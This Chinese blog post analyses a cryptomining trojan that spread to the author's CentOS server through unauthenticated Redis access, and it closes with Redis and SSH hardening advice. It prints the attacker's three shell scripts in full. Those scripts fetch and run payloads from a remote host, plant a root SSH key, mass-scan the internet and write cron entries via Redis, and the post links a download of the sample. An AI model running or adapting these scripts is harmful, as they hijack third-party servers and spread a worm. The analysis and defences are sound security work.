木马分析:利用Redis未授权访问漏洞为传播介质的挖矿木马

by LauCyun Mar 19,2018 21:30:58 26,433 views

上周一,一大早收到阿里云的通知邮件说:我的云服务器存在恶意发包行为(如图1所示)。第一想法就是:“我擦,服务器被黑了!”。


图1 阿里云通知邮件(详细

分析之前,先介绍一下服务器环境:

  • 系统:
    • CentOS 6.5
  • 服务:
    • Redis 2.8.19(端口:6379)
    • SSH(端口:22)

0x01 取证

top命令查看当前系统的运行状态,发现有个叫做gpg-agentd的进程占用99%的CPU资源,如图2所示:


图2 系统运行状态

进一步寻找,发现它跟gpg-agent很相似,如图3所示:


图3 gpg-agentd

Google了一下gpg-agent,如下:

gpg-agent is a daemon to manage secret (private) keys independently from any protocol. It is used as a backend for gpg and gpgsm as well as for a couple of other utilities.

—— Using the GNU Privacy Guard: Invoking GPG-AGENT

gpg-agent的介绍知道,gpg-agent是一个守护程序,根据经验得知:gpg-agentd肯定不是一个正常的程序,虽然伪造的很好,但也逃不过我的那双犀利的眼睛。

接着就是排查,IO情况、网络流量、内存情况、系统日志、crontab等。边找边想,如果你是黑客要做坏事的话,会在哪里做文章,自动启动?定时启动?

先运行crontab -e命令,发现crontab有如下的任务:


图4 crontab任务

果然,线索找到了~

0x02 分析

1、分析脚本ash.php

图4的计划任务的意思是:每15分钟就下载脚本http://img.namunil.com/ash.php,并且执行它。先把它下载下来:

wget -q -O- http://img.namunil.com/ash.php

ash.php内容如下:

PATH=/usr/lib/sysstat:/usr/sbin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/sbin:/usr/local/bin
HISTSIZE=1
uname -a
id
hostname
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keys
echo '*/15 * * * * wget -q -O- http://img.namunil.com/ash.php | sh' > /var/spool/cron/root
echo '*/20 * * * * wget -q -O- http://img.namunil.com/ash.php | sh' > /var/spool/cron/crontabs/root
echo 'wget -q -O- http://img.namunil.com/ash.php | sh' > /etc/rc.local
echo 'exit 0' >> /etc/rc.local

yum install -y bash curl 2>/dev/null
apt install -y bash curl 2>/dev/null
apt-get install -y bash curl 2>/dev/null

bash -c 'wget -q -O- http://img.namunil.com/bsh.php | bash' 2>/dev/null

其脚本的作用如下:

  • 首先,改变HISTSIZE的值 , 使其不能保存命令历史;
  • 然后,执行setenforce 0命令关闭SELinux,杰出shell资源访问限制;
  • 然后,在把SSH公钥添加到/root/.ssh/authorized_keys中,以便下次即可免密登录;
  • 然后,安装bash和curl;
  • 最后,就是下载第二个脚本http://img.namunil.com/bsh.php,并执行。

2、分析脚本bsh.php

继续下载并分析第二个脚本bsh.php,内容如下:

cd /tmp || cd /var/tmp
sleep 1
mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
sleep 1
if [ -f .watch ]; then
rm -rf .watch
exit 0
fi	
echo 1 > .watch
sleep 1
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
sleep 1
if ! [ -x /usr/bin/gpg-agentd ]; then
wget -q -O /usr/bin/gpg-agentd http://img.namunil.com/dump.db
echo '/usr/bin/gpg-agentd' > /etc/rc.local
echo 'wget -q -O- http://img.namunil.com/ash.php | sh' >> /etc/rc.local
echo 'exit 0' >> /etc/rc.local
fi
sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if ! [ -x "$(command -v masscan)" ]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
if [ -x "$(command -v apt-get)" ]; then
export DEBIAN_FRONTEND=noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap*
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
fi
if [ -x "$(command -v yum)" ]; then
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
fi
sleep 1
wget -q -O x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
fi
sleep 1 && rm -rf .watch
bash -c 'wget -q -O- http://img.namunil.com/rsh.php | bash' 2>/dev/null

这个脚本很长,但是其作用如下:

  • 首先,下载http://img.namunil.com/dump.db重名为gpg-agentd,并添加执行权限后运行;
  • 然后,修改开机启动rc.local,让/usr/bin/gpg-agentd开机启动和自动下载并执行脚本ash.php
  • 然后,安装一些列的软件,如make、gcc、git、libpcap等;
  • 然后,就是下载masscan,并解压、编译;
  • 最后,继续下载脚本http://img.namunil.com/rsh.php

那么masscan是个何物?官方介绍如下:

This is the fastest Internet port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second.

It produces results similar to nmap, the most famous port scanner. Internally, it operates more like scanrand, unicornscan, and ZMap, using asynchronous transmission. The major difference is that it's faster than these other scanners. In addition, it's more flexible, allowing arbitrary address ranges and port ranges.

NOTE: masscan uses a custom TCP/IP stack. Anything other than simple port scans will cause conflict with the local TCP/IP stack. This means you need to either use the -S option to use a separate IP address, or configure your operating system to firewall the ports that masscan uses.

—— MASSCAN: Mass IP port scanner

看完介绍后,也就不难理解为什么阿里云说服务器存在恶意发包行为。

3、分析脚本rsh.php

继续下载和分析脚本rsh.php,内容如下:

setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set qwERZJSG "\n*/1 * * * * curl -fsSL http://img.namunil.com/ash.php | sh\n\n"' >> .dat
echo 'set ftEKeh "\n*/2 * * * * wget -q -O- http://img.namunil.com/ash.php | sh\n\n"' >> .dat
echo 'set ugwRFlSI "\n*/3 * * * * curl -fsSL http://img.namunil.com/ash.php | sh\n\n"' >> .dat
echo 'set ClOqrUQh "\n*/4 * * * * wget -q -O- http://img.namunil.com/ash.php | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
sleep 1
masscan --max-rate 15000 -p6379,6380 --shard 9130/22000 --exclude 224.0.0.0-255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 15000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 14.18.0.0/16 14.238.0.0/16 14.138.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet
sleep 1
masscan --max-rate 15000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null

如果说前两个脚本只是在服务器上下载执行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来分析这个脚本:

  • 首先,修改系统环境之类就没啥好分析的,前面已经分析;
  • 接着,就是对redis进行配置,这个配置的内容如下:
    config set dbfilename "backup.db"
    save
    flushall
    set qwERZJSG "\n*/1 * * * * curl -fsSL http://img.namunil.com/ash.php | sh\n\n"
    set ftEKeh "\n*/2 * * * * wget -q -O- http://img.namunil.com/ash.php | sh\n\n"
    set ugwRFlSI "\n*/3 * * * * curl -fsSL http://img.namunil.com/ash.php | sh\n\n"
    set ClOqrUQh "\n*/4 * * * * wget -q -O- http://img.namunil.com/ash.php | sh\n\n"
    config set dir "/var/spool/cron/"
    config set dbfilename "root"
    save
    config set dir "/var/spool/cron/crontabs"
    save
    其主要的作用:利用 Redis 未授权访问漏洞把redis缓存内容写入/var/spool/cron/root/var/spool/cron/crontabs/root中,至于写入的内容就是上面分析的下载并执行ash.php
  • 最后,利用masscan进行全网扫描redis服务器,寻找肉鸡,如果你的redis的监听端口是公网IP或0.0.0.0,并且没有密码保护,那就写入上面的redis配置文件。

由于我的服务器是用于测试,所以没有做什么安全防护。真因为这,才导致服务器被黑。

4、分析gpg-agentd

gpg-agentd是用来干嘛?

第一个反应就是矿机,因为现在数字货币太火了,加大了分布式矿机的需求,也就催生了这条灰色产业链。

用ida分析gpg-agentd文件,搜索bitcoin、eth、mine等相关单词,最终发现了如图5所示:


图5 分析gpg-agentd

打开nicehash.com,瞬间就了然,如图6所示:


图6 nicehash

Google了一下svshost 1.0,结果没找到有用的信息。通过找类似的案例,发现一样本crondb,通过分析发现如图7所示:


图7 crondb样本

所以,crondbgpg-agentd用的是同一个挖矿程序,其源码:https://github.com/xmrig/xmrig

0x03 建议

通过上面的分析,该木马的行为是:先是将ssh公钥写入到/root/.ssh/authorized_keys中,拿到免密登录权限;然后下载执行远程二进制脚本和程序;最后通过redis漏洞,以指数级的速度在全网传播。

为了避免同类事件的发生,提出以下几个建议:

1、Redis方面

网络层加固

  • 指定 Redis 服务使用的网卡

    默认情况下,Redis 监听127.0.0.1。如果仅仅是本地通信,请确保监听在本地。

    这种方式可以在一定程度上缓解 Redis 未授权访问的风险(例外情况下,如果 Redis 以 root 用户运行,攻击者借助已有的 webshell,就可以利用该 Redis 来反弹 shell 以实现提权)。

    redis.conf文件中找到# bind 127.0.0.1,将前面的#去掉,然后保存。

    注意:

    • 该操作需要重启 Redis 才能生效。
    • 修改后只有本机才能访问 Redis,也可以指定访问源 IP 来访问 Redis。
      bind 192.168.1.100 10.0.0.1
  • 设置防火墙策略

    如果正常业务中 Redis 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问 Redis 服务。

    iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT

设置访问密码

redis.conf中找到requirepass字段,去掉其注释,并在后面填上需要的密码。Redis 客户端也需要使用此密码来访问 Redis 服务。

打开/etc/redis/redis.conf配置文件:

​requirepass kzd&YvDvvc

确保密码的复杂度,配置完毕后重启服务即可生效。

服务运行权限最小化

请以较低权限账号运行 Redis 服务,并禁用该账号的登录权限。以下操作创建了一个无 home 目录权限,且无法登录的普通账号:

useradd -M -s /sbin/nologin [username]

注意:该操作需要重启 Redis 才能生效。

隐藏重要命令

Redis 无权限分离,其管理员账号和普通账号无明显区分。攻击者登录后可执行任意操作,因此需要隐藏以下重要命令:FLUSHDB, FLUSHALL, KEYS,PEXPIRE, DEL, CONFIG, SHUTDOWN, BGREWRITEAOF, BGSAVE, SAVE, SPOP, SREM, RENAME,DEBUG, EVAL

另外,在 Redis 2.8.1 及 Redis 3.x (低于 3.0.2) 版本下存在 EVAL 沙箱逃逸漏洞,攻击者可通过该漏洞执行任意 Lua 代码。

下述配置将config/flushdb/flushall设置为空,即禁用该命令;也可设置为一些复杂的、难以猜测的名字。

rename-command CONFIG ""
rename-command flushall ""
rename-command flushdb ""
rename-command shutdown shotdown_test

保存后,执行/etc/init.d/redis-server restart重启生效。

2、服务器方面

  • 服务器不使用默认的 22 端口

    22 端口是 SSH 服务的默认端口,这也是黑客扫描服务器 ssh 服务的默认端口。修改 SSH 端口的方法如下:vim编辑/etc/ssh/sshd_config,将其中的 Port 22 参数改成你想要的端口,通常 5 位数字最好。修改完成之后,重启 sshd 服务生效。

  • 禁止使用密码登陆,使用 RSA 公钥登陆

    本地机器可以使用ssh-keygen -t rsa生成公钥和私钥,然后将公钥追加到服务器上的~/.ssh/authorized_keys文件,注意此文件的权限是600。SSH 配置如下:

    RSAAuthentication yes # RSA认证
    PubkeyAuthentication yes # 开启公钥验证
    AuthorizedKeysFile .ssh/authorized_keys # 验证文件路径
    PasswordAuthentication no # 禁止密码认证
    PermitEmptyPasswords no # 禁止空密码

    最后重启 sshd 服务即可生效。

  • 禁止 root 用户登录

    线上服务器,我们通常会以普通用户登陆,然后再su root切换到root用户,这样做的好处是,即使被攻击了,也能有相应的保障。具体的方法是修改/etc/ssh/sshd_config配置文件,将PermitRootLogin改为no

0x04 类似案例

0x05 参考

最后的最后,分享一下样本,样本传送门:https://pan.baidu.com/s/1P1FFCzmhRQ2qROWEFbPWow

Tags